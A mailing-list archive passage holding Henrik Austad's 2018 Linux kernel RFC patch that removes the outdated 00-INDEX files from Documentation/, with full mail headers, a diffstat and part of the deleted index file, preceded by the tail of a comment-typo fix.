@@ -1157,7 +1157,7 @@ static int __init stifb_init_fb(struct sti_struct *sti, int bpp_pref)
 			dev_name);
 		   goto out_err0;
 		}
-		/* fall though */
+		/* fall through */
 	case S9000_ID_ARTIST:
 	case S9000_ID_HCRX:
 	case S9000_ID_TIMBER:
-- 
2.7.4



From - Thu Nov 08 21:41:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Henrik Austad <henrik@austad.us>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.documentation,gmane.linux.ports.mips.general,gmane.comp.emulators.kvm.devel,gmane.comp.video.dri.devel,gmane.linux.drivers.devicetree,gmane.linux.kernel.lsm,gmane.linux.kernel.gpio,gmane.linux.kbuild.devel,gmane.linux.ports.parisc,gmane.linux.ide,gmane.linux.kernel.pci,gmane.linux.power-management.general,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.linux.network
Subject: [PATCH] [RFC v2] Drop all 00-INDEX files from Documentation/
Date: Tue,  4 Sep 2018 00:15:23 +0200
Lines: 2457
Approved: news@gmane.org
Message-ID: <1536012923-16275-1-git-send-email-henrik@austad.us>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1536013342 21675 195.159.176.226 (3 Sep 2018 22:22:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 3 Sep 2018 22:22:22 +0000 (UTC)
Cc: Mark Rutland <mark.rutland@arm.com>, linux-mips@linux-mips.org,
 linux-fbdev@vger.kernel.org, Jan Kandziora <jjj@gmx.de>, kvm@vger.kernel.org,
 =?UTF-8?q?Radim=20Kr=C4=8Dm=C3=A1=C5=99?= <rkrcmar@redhat.com>,
 Peter Zijlstra <peterz@infradead.org>, James Hogan <jhogan@kernel.org>,
 Linus Walleij <linus.walleij@linaro.org>, Henrik Austad <henrik@austad.us>,
 Will Deacon <will.deacon@arm.com>, dri-devel@lists.freedesktop.org,
 Masahiro Yamada <yamada.masahiro@socionext.com>, devicetree@vger.kernel.org,
 Paul Mackerras <paulus@samba.org>, Henrik Austad <haustad@cisco.com>,
 Pavel Machek <pavel@ucw.cz>, "H. Peter Anvin" <hpa@zytor.com>,
 Evgeniy Polyakov <zbr@ioremap.net>, linux-s390@vger.kernel.org,
 Ian Kent <raven@themaw.net>, linux-security-module@vger.kernel.org,
 Paul Moore <paul@paul-moore.com>, Jonathan Corbet <corbet@lwn.net>,
 Helge Deller <deller@gmx.de>, x86@kernel.org,
 "Jame
To: linux-doc@vger.kernel.org
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Tue Sep 04 00:22:12 2018
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from lists.ozlabs.org ([203.11.71.2])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1fwxEW-0005IS-PZ
	for glppe-linuxppc-embedded-2@m.gmane.org; Tue, 04 Sep 2018 00:22:09 +0200
Original-Received: from lists.ozlabs.org (lists.ozlabs.org [IPv6:2401:3900:2:1::3])
	by lists.ozlabs.org (Postfix) with ESMTP id 4244JK5DlCzF3Cr
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Tue,  4 Sep 2018 08:24:17 +1000 (AEST)
Authentication-Results: lists.ozlabs.org; dmarc=none (p=none dis=none) header.from=austad.us
Authentication-Results: lists.ozlabs.org;
	dkim=fail reason="signature verification failed" (2048-bit key; unprotected) header.d=austad-us.20150623.gappssmtp.com header.i=@austad-us.20150623.gappssmtp.com header.b="wd3weWDv";
	dkim-atps=neutral
X-Original-To: linuxppc-dev@lists.ozlabs.org
Delivered-To: linuxppc-dev@lists.ozlabs.org
Authentication-Results: lists.ozlabs.org;
 spf=none (mailfrom) smtp.mailfrom=austad.us
 (client-ip=2a00:1450:4864:20::543; helo=mail-ed1-x543.google.com;
 envelope-from=henrik@austad.us; receiver=<UNKNOWN>)
Authentication-Results: lists.ozlabs.org;
 dmarc=none (p=none dis=none) header.from=austad.us
Authentication-Results: lists.ozlabs.org; dkim=pass (2048-bit key;
 unprotected) header.d=austad-us.20150623.gappssmtp.com
 header.i=@austad-us.20150623.gappssmtp.com header.b="wd3weWDv"; 
 dkim-atps=neutral
Original-Received: from mail-ed1-x543.google.com (mail-ed1-x543.google.com
 [IPv6:2a00:1450:4864:20::543])
 (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
 (No client certificate requested)
 by lists.ozlabs.org (Postfix) with ESMTPS id 42446N2wvHzF3C9
 for <linuxppc-dev@lists.ozlabs.org>; Tue,  4 Sep 2018 08:15:36 +1000 (AEST)
Original-Received: by mail-ed1-x543.google.com with SMTP id a20-v6so1743759edd.4
 for <linuxppc-dev@lists.ozlabs.org>; Mon, 03 Sep 2018 15:15:36 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=austad-us.20150623.gappssmtp.com; s=20150623;
 h=from:to:cc:subject:date:message-id:mime-version
 :content-transfer-encoding;
 bh=j7hlgy+weqKrRNoMOCmRcdSRM8TAxMHmcXr+X6BmJpM=;
 b=wd3weWDvwYtaUbXn24FA6yrIcj7NHtVODWkymSsXcEPEKoto5pc7eo5aQiiwihvzuh
 i4K5HKOOz4JjyTq8+ofA06/ukbGUIe2TYUhqk/K3zimEUuvgz4ub7B/WRDUyAys9kme/
 a0IQy+1slcx7HG48GrLJ3BXUoewuuNMU/vLemb0Z8c1ZVVlTdup5PoLAxc1B+IJvNi/s
 +Tm+Wnj312l3W8Dr0/nuZMuYAMOgfpmA9/KTso8kX6iyODURJ03Fsj6ruPkK+BexfaXY
 ShNV5iDPYSsFwrFgd0UMJXuWwSfCeIGhBpoXUJ22tU+g3dEB3lgVFI+F4xxv8WS/Jak1
 Eu6A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:from:to:cc:subject:date:message-id:mime-version
 :content-transfer-encoding;
 bh=j7hlgy+weqKrRNoMOCmRcdSRM8TAxMHmcXr+X6BmJpM=;
 b=O7HRRucLeZpa3wYaGOr9XImQcltqCYwKyH3r8m9oFoVGKWoNTFO1ouuRRwjOlAtYg7
 B81CDXk+maLCkUh4GPt4VYECh0PJr8ZFvDeXdS9SbrQ8y9cm6trD1Ky186hAF60em+rH
 IEpBn209vuYu6YCV97Up3nkUD19MfJQldOya7vEHL1cDVInXc/8BxnBPbyi8bKsn/ETX
 H9eNkuKCSkR76Ud/YRzHH4rnEMkMPFUlRqHErX4qdRlDxSD6Cr3fIvcmLS1K7qUe8Qh2
 MNen5b9Exm7mQTqupPQDS9cWnMIq3wq+UoTWpnGjLVSfX6wU64cqyDPfggJHVhoHhlFa
 +0Tw==
X-Gm-Message-State: APzg51DXIrkC13UEUsDA/4U0iakKeypagBPrt7tZ0d4Ox2CijhLbJCiF
 oKXA1gER5lc27Tcrj+kt7b4Hsw==
X-Google-Smtp-Source: ANB0VdbKnnPFvu9tXFKYy7gwftSd1vVgqxMUhD81t7+US0UfGPp36xRDxsSqok7R2jpVtIOgNNJnGw==
X-Received: by 2002:aa7:ca15:: with SMTP id
 y21-v6mr34422108eds.285.1536012932874; 
 Mon, 03 Sep 2018 15:15:32 -0700 (PDT)
Original-Received: from sisyphus.home.austad.us (11.92-220-88.customer.lyse.net.
 [92.220.88.11])
 by smtp.gmail.com with ESMTPSA id f19-v6sm8980038eda.49.2018.09.03.15.15.29
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
 Mon, 03 Sep 2018 15:15:31 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
X-Mailman-Approved-At: Tue, 04 Sep 2018 08:22:50 +1000
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.27
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:130224 gmane.linux.documentation:59314 gmane.linux.ports.mips.general:66340 gmane.comp.emulators.kvm.devel:191981 gmane.comp.video.dri.devel:234964 gmane.linux.drivers.devicetree:286586 gmane.linux.kernel.lsm:39728 gmane.linux.kernel.gpio:33818 gmane.linux.kbuild.devel:21099 gmane.linux.ports.parisc:28922 gmane.linux.ide:65383 gmane.linux.kernel.pci:74917 gmane.linux.power-management.general:105869 gmane.linux.kernel:2860651 gmane.linux.kernel.spi.devel:29936 gmane.linux.network:552804
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/130224>

This is a respin with a wider audience (all that get_maintainer returned)
and I know this spams a *lot* of people. Not sure what would be the correct
way, so my apologies for ruining your inbox.

The 00-INDEX files are supposed to give a summary of all files present
in a directory, but these files are horribly out of date and their
usefulness is brought into question. Often a simple "ls" would reveal
the same information as the filenames are generally quite descriptive as
a short introduction to what the file covers (it should not surprise
anyone what Documentation/sched/sched-design-CFS.txt covers)

A few years back it was mentioned that these files were no longer really
needed, and they have since then grown further out of date, so perhaps
it is time to just throw them out.

A short status yields the following _outdated_ 00-INDEX files, first
counter is files listed in 00-INDEX but missing in the directory, last
is files present but not listed in 00-INDEX.

List of outdated 00-INDEX:
Documentation: (4/10)
Documentation/sysctl: (0/1)
Documentation/timers: (1/0)
Documentation/blockdev: (3/1)
Documentation/w1/slaves: (0/1)
Documentation/locking: (0/1)
Documentation/devicetree: (0/5)
Documentation/power: (1/1)
Documentation/powerpc: (0/5)
Documentation/arm: (1/0)
Documentation/x86: (0/9)
Documentation/x86/x86_64: (1/1)
Documentation/scsi: (4/4)
Documentation/filesystems: (2/9)
Documentation/filesystems/nfs: (0/2)
Documentation/cgroup-v1: (0/2)
Documentation/kbuild: (0/4)
Documentation/spi: (1/0)
Documentation/virtual/kvm: (1/0)
Documentation/scheduler: (0/2)
Documentation/fb: (0/1)
Documentation/block: (0/1)
Documentation/networking: (6/37)
Documentation/vm: (1/3)

Then there are 364 subdirectories in Documentation/ with several files that
are missing 00-INDEX alltogether (and another 120 with a single file and no
00-INDEX).

I don't really have an opinion to whether or not we /should/ have 00-INDEX,
but the above 00-INDEX should either be removed or be kept up to date. If
we should keep the files, I can try to keep them updated, but I rather not
if we just want to delete them anyway.

As a starting point, remove all index-files and references to 00-INDEX and
see where the discussion is going.

Again, sorry for the insanely wide distribution.

Signed-off-by: Henrik Austad <henrik@austad.us>
Cc: Jonathan Corbet <corbet@lwn.net>
Cc: Bjorn Helgaas <bhelgaas@google.com>
Cc: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Cc: Josh Triplett <josh@joshtriplett.org>
Cc: Steven Rostedt <rostedt@goodmis.org>
Cc: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
Cc: Lai Jiangshan <jiangshanlai@gmail.com>
Cc: Jens Axboe <axboe@kernel.dk>
Cc: Rob Herring <robh+dt@kernel.org>
Cc: Mark Rutland <mark.rutland@arm.com>
Cc: Bartlomiej Zolnierkiewicz <b.zolnierkie@samsung.com>
Cc: Linus Walleij <linus.walleij@linaro.org>
Cc: "David S. Miller" <davem@davemloft.net>
Cc: Karsten Keil <isdn@linux-pingi.de>
Cc: Masahiro Yamada <yamada.masahiro@socionext.com>
Cc: Michal Marek <michal.lkml@markovi.net>
Cc: Peter Zijlstra <peterz@infradead.org>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: Will Deacon <will.deacon@arm.com>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: Paul Burton <paul.burton@mips.com>
Cc: James Hogan <jhogan@kernel.org>
Cc: Paul Moore <paul@paul-moore.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: "Rafael J. Wysocki" <rjw@rjwysocki.net>
Cc: Len Brown <len.brown@intel.com>
Cc: Pavel Machek <pavel@ucw.cz>
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Cc: Paul Mackerras <paulus@samba.org>
Cc: Michael Ellerman <mpe@ellerman.id.au>
Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Cc: Jiri Slaby <jslaby@suse.com>
Cc: Mark Brown <broonie@kernel.org>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Paolo Bonzini <pbonzini@redhat.com>
Cc: "Radim Krčmář" <rkrcmar@redhat.com>
Cc: Evgeniy Polyakov <zbr@ioremap.net>
Cc: "H. Peter Anvin" <hpa@zytor.com>
Cc: x86@kernel.org
Cc: Henrik Austad <henrik@austad.us>
Cc: Andrew Morton <akpm@linux-foundation.org>
Cc: Ian Kent <raven@themaw.net>
Cc: Jacek Anaszewski <jacek.anaszewski@gmail.com>
Cc: Mike Rapoport <rppt@linux.vnet.ibm.com>
Cc: Jan Kandziora <jjj@gmx.de>
Cc: linux-doc@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-pci@vger.kernel.org
Cc: devicetree@vger.kernel.org
Cc: dri-devel@lists.freedesktop.org
Cc: linux-fbdev@vger.kernel.org
Cc: linux-gpio@vger.kernel.org
Cc: linux-ide@vger.kernel.org
Cc: netdev@vger.kernel.org
Cc: linux-kbuild@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-security-module@vger.kernel.org
Cc: linux-parisc@vger.kernel.org
Cc: linux-pm@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-s390@vger.kernel.org
Cc: linux-spi@vger.kernel.org
Cc: kvm@vger.kernel.org
Signed-off-by: Henrik Austad <haustad@cisco.com>
---
 Documentation/00-INDEX                  | 428 --------------------------------
 Documentation/PCI/00-INDEX              |  26 --
 Documentation/RCU/00-INDEX              |  34 ---
 Documentation/RCU/rcu.txt               |   4 -
 Documentation/admin-guide/README.rst    |   3 +-
 Documentation/arm/00-INDEX              |  50 ----
 Documentation/block/00-INDEX            |  34 ---
 Documentation/blockdev/00-INDEX         |  18 --
 Documentation/cdrom/00-INDEX            |  11 -
 Documentation/cgroup-v1/00-INDEX        |  26 --
 Documentation/devicetree/00-INDEX       |  12 -
 Documentation/fb/00-INDEX               |  75 ------
 Documentation/filesystems/00-INDEX      | 153 ------------
 Documentation/filesystems/nfs/00-INDEX  |  26 --
 Documentation/fmc/00-INDEX              |  38 ---
 Documentation/gpio/00-INDEX             |   4 -
 Documentation/ide/00-INDEX              |  14 --
 Documentation/ioctl/00-INDEX            |  12 -
 Documentation/isdn/00-INDEX             |  42 ----
 Documentation/kbuild/00-INDEX           |  14 --
 Documentation/laptops/00-INDEX          |  16 --
 Documentation/leds/00-INDEX             |  32 ---
 Documentation/locking/00-INDEX          |  16 --
 Documentation/m68k/00-INDEX             |   7 -
 Documentation/mips/00-INDEX             |   4 -
 Documentation/mmc/00-INDEX              |  10 -
 Documentation/netlabel/00-INDEX         |  10 -
 Documentation/netlabel/cipso_ipv4.txt   |  11 +-
 Documentation/netlabel/introduction.txt |   2 +-
 Documentation/networking/00-INDEX       | 234 -----------------
 Documentation/parisc/00-INDEX           |   6 -
 Documentation/power/00-INDEX            |  44 ----
 Documentation/powerpc/00-INDEX          |  34 ---
 Documentation/s390/00-INDEX             |  28 ---
 Documentation/scheduler/00-INDEX        |  18 --
 Documentation/scsi/00-INDEX             | 108 --------
 Documentation/serial/00-INDEX           |  16 --
 Documentation/spi/00-INDEX              |  16 --
 Documentation/sysctl/00-INDEX           |  16 --
 Documentation/timers/00-INDEX           |  16 --
 Documentation/virtual/00-INDEX          |  11 -
 Documentation/virtual/kvm/00-INDEX      |  35 ---
 Documentation/vm/00-INDEX               |  50 ----
 Documentation/w1/00-INDEX               |  10 -
 Documentation/w1/masters/00-INDEX       |  12 -
 Documentation/w1/slaves/00-INDEX        |  14 --
 Documentation/x86/00-INDEX              |  20 --
 Documentation/x86/x86_64/00-INDEX       |  16 --
 README                                  |   1 -
 scripts/check_00index.sh                |  67 -----
 50 files changed, 8 insertions(+), 1896 deletions(-)
 delete mode 100644 Documentation/00-INDEX
 delete mode 100644 Documentation/PCI/00-INDEX
 delete mode 100644 Documentation/RCU/00-INDEX
 delete mode 100644 Documentation/arm/00-INDEX
 delete mode 100644 Documentation/block/00-INDEX
 delete mode 100644 Documentation/blockdev/00-INDEX
 delete mode 100644 Documentation/cdrom/00-INDEX
 delete mode 100644 Documentation/cgroup-v1/00-INDEX
 delete mode 100644 Documentation/devicetree/00-INDEX
 delete mode 100644 Documentation/fb/00-INDEX
 delete mode 100644 Documentation/filesystems/00-INDEX
 delete mode 100644 Documentation/filesystems/nfs/00-INDEX
 delete mode 100644 Documentation/fmc/00-INDEX
 delete mode 100644 Documentation/gpio/00-INDEX
 delete mode 100644 Documentation/ide/00-INDEX
 delete mode 100644 Documentation/ioctl/00-INDEX
 delete mode 100644 Documentation/isdn/00-INDEX
 delete mode 100644 Documentation/kbuild/00-INDEX
 delete mode 100644 Documentation/laptops/00-INDEX
 delete mode 100644 Documentation/leds/00-INDEX
 delete mode 100644 Documentation/locking/00-INDEX
 delete mode 100644 Documentation/m68k/00-INDEX
 delete mode 100644 Documentation/mips/00-INDEX
 delete mode 100644 Documentation/mmc/00-INDEX
 delete mode 100644 Documentation/netlabel/00-INDEX
 delete mode 100644 Documentation/networking/00-INDEX
 delete mode 100644 Documentation/parisc/00-INDEX
 delete mode 100644 Documentation/power/00-INDEX
 delete mode 100644 Documentation/powerpc/00-INDEX
 delete mode 100644 Documentation/s390/00-INDEX
 delete mode 100644 Documentation/scheduler/00-INDEX
 delete mode 100644 Documentation/scsi/00-INDEX
 delete mode 100644 Documentation/serial/00-INDEX
 delete mode 100644 Documentation/spi/00-INDEX
 delete mode 100644 Documentation/sysctl/00-INDEX
 delete mode 100644 Documentation/timers/00-INDEX
 delete mode 100644 Documentation/virtual/00-INDEX
 delete mode 100644 Documentation/virtual/kvm/00-INDEX
 delete mode 100644 Documentation/vm/00-INDEX
 delete mode 100644 Documentation/w1/00-INDEX
 delete mode 100644 Documentation/w1/masters/00-INDEX
 delete mode 100644 Documentation/w1/slaves/00-INDEX
 delete mode 100644 Documentation/x86/00-INDEX
 delete mode 100644 Documentation/x86/x86_64/00-INDEX
 delete mode 100755 scripts/check_00index.sh

diff --git a/Documentation/00-INDEX b/Documentation/00-INDEX
deleted file mode 100644
index 2754fe8..0000000
--- a/Documentation/00-INDEX
+++ /dev/null
@@ -1,428 +0,0 @@
-
-This is a brief list of all the files in ./linux/Documentation and what
-they contain. If you add a documentation file, please list it here in
-alphabetical order as well, or risk being hunted down like a rabid dog.
-Please keep the descriptions small enough to fit on one line.
-							 Thanks -- Paul G.
-
-Following translations are available on the WWW:
-
-   - Japanese, maintained by the JF Project (jf@listserv.linux.or.jp), at
-     http://linuxjf.sourceforge.jp/
-
-00-INDEX
-	- this file.
-ABI/
-	- info on kernel <-> userspace ABI and relative interface stability.
-CodingStyle
-	- nothing here, just a pointer to process/coding-style.rst.
-DMA-API.txt
-	- DMA API, pci_ API & extensions for non-consistent memory machines.
-DMA-API-HOWTO.txt
-	- Dynamic DMA mapping Guide
-DMA-ISA-LPC.txt
-	- How to do DMA with ISA (and LPC) devices.
-DMA-attributes.txt
-	- listing of the various possible attributes a DMA region can have
-EDID/
-	- directory with info on customizing EDID for broken gfx/displays.
-IPMI.txt
-	- info on Linux Intelligent Platform Management Interface (IPMI) Driver.
-IRQ-affinity.txt
-	- how to select which CPU(s) handle which interrupt events on SMP.
-IRQ-domain.txt
-	- info on interrupt numbering and setting up IRQ domains.
-IRQ.txt
-	- description of what an IRQ is.
-Intel-IOMMU.txt
-	- basic info on the Intel IOMMU virtualization support.
-Makefile
-	- It's not of interest for those who aren't touching the build system.
-PCI/
-	- info related to PCI drivers.
-RCU/
-	- directory with info on RCU (read-copy update).
-SAK.txt
-	- info on Secure Attention Keys.
-SM501.txt
-	- Silicon Motion SM501 multimedia companion chip
-SubmittingPatches
-	- nothing here, just a pointer to process/coding-style.rst.
-accounting/
-	- documentation on accounting and taskstats.
-acpi/
-	- info on ACPI-specific hooks in the kernel.
-admin-guide/
-	- info related to Linux users and system admins.
-aoe/
-	- description of AoE (ATA over Ethernet) along with config examples.
-arm/
-	- directory with info about Linux on the ARM architecture.
-arm64/
-	- directory with info about Linux on the 64 bit ARM architecture.
-auxdisplay/
-	- misc. LCD driver documentation (cfag12864b, ks0108).
-backlight/
-	- directory with info on controlling backlights in flat panel displays
-block/
-	- info on the Block I/O (BIO) layer.
-blockdev/
-	- info on block devices & drivers
-bt8xxgpio.txt
-	- info on how to modify a bt8xx video card for GPIO usage.
-btmrvl.txt
-	- info on Marvell Bluetooth driver usage.
-bus-devices/
-	- directory with info on TI GPMC (General Purpose Memory Controller)
-bus-virt-phys-mapping.txt
-	- how to access I/O mapped memory from within device drivers.
-cdrom/
-	- directory with information on the CD-ROM drivers that Linux has.
-cgroup-v1/
-	- cgroups v1 features, including cpusets and memory controller.
-cma/
-	- Continuous Memory Area (CMA) debugfs interface.
-conf.py
-	- It's not of interest for those who aren't touching the build system.
-connector/
-	- docs on the netlink based userspace<->kernel space communication mod.
-console/
-	- documentation on Linux console drivers.
-core-api/
-	- documentation on kernel core components.
-cpu-freq/
-	- info on CPU frequency and voltage scaling.
-cpu-hotplug.txt
-	- document describing CPU hotplug support in the Linux kernel.
-cpu-load.txt
-	- document describing how CPU load statistics are collected.
-cpuidle/
-	- info on CPU_IDLE, CPU idle state management subsystem.
-cputopology.txt
-	- documentation on how CPU topology info is exported via sysfs.
-crc32.txt
-	- brief tutorial on CRC computation
-crypto/
-	- directory with info on the Crypto API.
-dcdbas.txt
-	- information on the Dell Systems Management Base Driver.
-debugging-modules.txt
-	- some notes on debugging modules after Linux 2.6.3.
-debugging-via-ohci1394.txt
-	- how to use firewire like a hardware debugger memory reader.
-dell_rbu.txt
-	- document demonstrating the use of the Dell Remote BIOS Update driver.
-dev-tools/
-	- directory with info on development tools for the kernel.
-device-mapper/
-	- directory with info on Device Mapper.
-dmaengine/
-	- the DMA engine and controller API guides.
-devicetree/
-	- directory with info on device tree files used by OF/PowerPC/ARM
-digsig.txt
-	-info on the Digital Signature Verification API
-dma-buf-sharing.txt
-	- the DMA Buffer Sharing API Guide
-docutils.conf
-	- nothing here. Just a configuration file for docutils.
-dontdiff
-	- file containing a list of files that should never be diff'ed.
-driver-api/
-	- the Linux driver implementer's API guide.
-driver-model/
-	- directory with info about Linux driver model.
-early-userspace/
-	- info about initramfs, klibc, and userspace early during boot.
-efi-stub.txt
-	- How to use the EFI boot stub to bypass GRUB or elilo on EFI systems.
-eisa.txt
-	- info on EISA bus support.
-extcon/
-	- directory with porting guide for Android kernel switch driver.
-isa.txt
-	- info on EISA bus support.
-fault-injection/
-	- dir with docs about the fault injection capabilities infrastructure.
-fb/
-	- directory with info on the frame buffer graphics abstraction layer.
-features/
-	- status of feature implementation on different architectures.
-filesystems/
-	- info on the vfs and the various filesystems that Linux supports.
-firmware_class/
-	- request_firmware() hotplug interface info.
-flexible-arrays.txt
-	- how to make use of flexible sized arrays in linux
-fmc/
-	- information about the FMC bus abstraction
-fpga/
-	- FPGA Manager Core.
-futex-requeue-pi.txt
-	- info on requeueing of tasks from a non-PI futex to a PI futex
-gcc-plugins.txt
-	- GCC plugin infrastructure.
-gpio/
-	- gpio related documentation
-gpu/
-	- directory with information on GPU driver developer's guide.
-hid/
-	- directory with information on human interface devices
-highuid.txt
-	- notes on the change from 16 bit to 32 bit user/group IDs.
-hwspinlock.txt
-	- hardware spinlock provides hardware assistance for synchronization
-timers/
-	- info on the timer related topics
-hw_random.txt
-	- info on Linux support for random number generator in i8xx chipsets.
-hwmon/
-	- directory with docs on various hardware monitoring drivers.
-i2c/
-	- directory with info about the I2C bus/protocol (2 wire, kHz speed).
-x86/i386/
-	- directory with info about Linux on Intel 32 bit architecture.
-ia64/
-	- directory with info about Linux on Intel 64 bit architecture.
-ide/
-	- Information regarding the Enhanced IDE drive.
-iio/
-	- info on industrial IIO configfs support.
-index.rst
-	- main index for the documentation at ReST format.
-infiniband/
-	- directory with documents concerning Linux InfiniBand support.
-input/
-	- info on Linux input device support.
-intel_txt.txt
-	- info on intel Trusted Execution Technology (intel TXT).
-io-mapping.txt
-	- description of io_mapping functions in linux/io-mapping.h
-io_ordering.txt
-	- info on ordering I/O writes to memory-mapped addresses.
-ioctl/
-	- directory with documents describing various IOCTL calls.
-iostats.txt
-	- info on I/O statistics Linux kernel provides.
-irqflags-tracing.txt
-	- how to use the irq-flags tracing feature.
-isapnp.txt
-	- info on Linux ISA Plug & Play support.
-isdn/
-	- directory with info on the Linux ISDN support, and supported cards.
-kbuild/
-	- directory with info about the kernel build process.
-kdump/
-	- directory with mini HowTo on getting the crash dump code to work.
-doc-guide/
-	- how to write and format reStructuredText kernel documentation
-kernel-per-CPU-kthreads.txt
-	- List of all per-CPU kthreads and how they introduce jitter.
-kobject.txt
-	- info of the kobject infrastructure of the Linux kernel.
-kprobes.txt
-	- documents the kernel probes debugging feature.
-kref.txt
-	- docs on adding reference counters (krefs) to kernel objects.
-laptops/
-	- directory with laptop related info and laptop driver documentation.
-ldm.txt
-	- a brief description of LDM (Windows Dynamic Disks).
-leds/
-	- directory with info about LED handling under Linux.
-livepatch/
-	- info on kernel live patching.
-locking/
-	- directory with info about kernel locking primitives
-lockup-watchdogs.txt
-	- info on soft and hard lockup detectors (aka nmi_watchdog).
-logo.gif
-	- full colour GIF image of Linux logo (penguin - Tux).
-logo.txt
-	- info on creator of above logo & site to get additional images from.
-lsm.txt
-	- Linux Security Modules: General Security Hooks for Linux
-lzo.txt
-	- kernel LZO decompressor input formats
-m68k/
-	- directory with info about Linux on Motorola 68k architecture.
-mailbox.txt
-	- How to write drivers for the common mailbox framework (IPC).
-md/
-	- directory with info about Linux Software RAID
-media/
-	- info on media drivers: uAPI, kAPI and driver documentation.
-memory-barriers.txt
-	- info on Linux kernel memory barriers.
-memory-devices/
-	- directory with info on parts like the Texas Instruments EMIF driver
-memory-hotplug.txt
-	- Hotpluggable memory support, how to use and current status.
-men-chameleon-bus.txt
-	- info on MEN chameleon bus.
-mic/
-	- Intel Many Integrated Core (MIC) architecture device driver.
-mips/
-	- directory with info about Linux on MIPS architecture.
-misc-devices/
-	- directory with info about devices using the misc dev subsystem
-mmc/
-	- directory with info about the MMC subsystem
-mtd/
-	- directory with info about memory technology devices (flash)
-namespaces/
-	- directory with various information about namespaces
-netlabel/
-	- directory with information on the NetLabel subsystem.
-networking/
-	- directory with info on various aspects of networking with Linux.
-nfc/
-	- directory relating info about Near Field Communications support.
-nios2/
-	- Linux on the Nios II architecture.
-nommu-mmap.txt
-	- documentation about no-mmu memory mapping support.
-numastat.txt
-	- info on how to read Numa policy hit/miss statistics in sysfs.
-ntb.txt
-	- info on Non-Transparent Bridge (NTB) drivers.
-nvdimm/
-	- info on non-volatile devices.
-nvmem/
-	- info on non volatile memory framework.
-output/
-	- default directory where html/LaTeX/pdf files will be written.
-padata.txt
-	- An introduction to the "padata" parallel execution API
-parisc/
-	- directory with info on using Linux on PA-RISC architecture.
-parport-lowlevel.txt
-	- description and usage of the low level parallel port functions.
-pcmcia/
-	- info on the Linux PCMCIA driver.
-percpu-rw-semaphore.txt
-	- RCU based read-write semaphore optimized for locking for reading
-perf/
-	- info about the APM X-Gene SoC Performance Monitoring Unit (PMU).
-phy/
-	- ino on Samsung USB 2.0 PHY adaptation layer.
-phy.txt
-	- Description of the generic PHY framework.
-pi-futex.txt
-	- documentation on lightweight priority inheritance futexes.
-pinctrl.txt
-	- info on pinctrl subsystem and the PINMUX/PINCONF and drivers
-platform/
-	- List of supported hardware by compal and Dell laptop.
-pnp.txt
-	- Linux Plug and Play documentation.
-power/
-	- directory with info on Linux PCI power management.
-powerpc/
-	- directory with info on using Linux with the PowerPC.
-prctl/
-	- directory with info on the priveledge control subsystem
-preempt-locking.txt
-	- info on locking under a preemptive kernel.
-process/
-	- how to work with the mainline kernel development process.
-pps/
-	- directory with information on the pulse-per-second support
-pti/
-	- directory with info on Intel MID PTI.
-ptp/
-	- directory with info on support for IEEE 1588 PTP clocks in Linux.
-pwm.txt
-	- info on the pulse width modulation driver subsystem
-rapidio/
-	- directory with info on RapidIO packet-based fabric interconnect
-rbtree.txt
-	- info on what red-black trees are and what they are for.
-remoteproc.txt
-	- info on how to handle remote processor (e.g. AMP) offloads/usage.
-rfkill.txt
-	- info on the radio frequency kill switch subsystem/support.
-robust-futex-ABI.txt
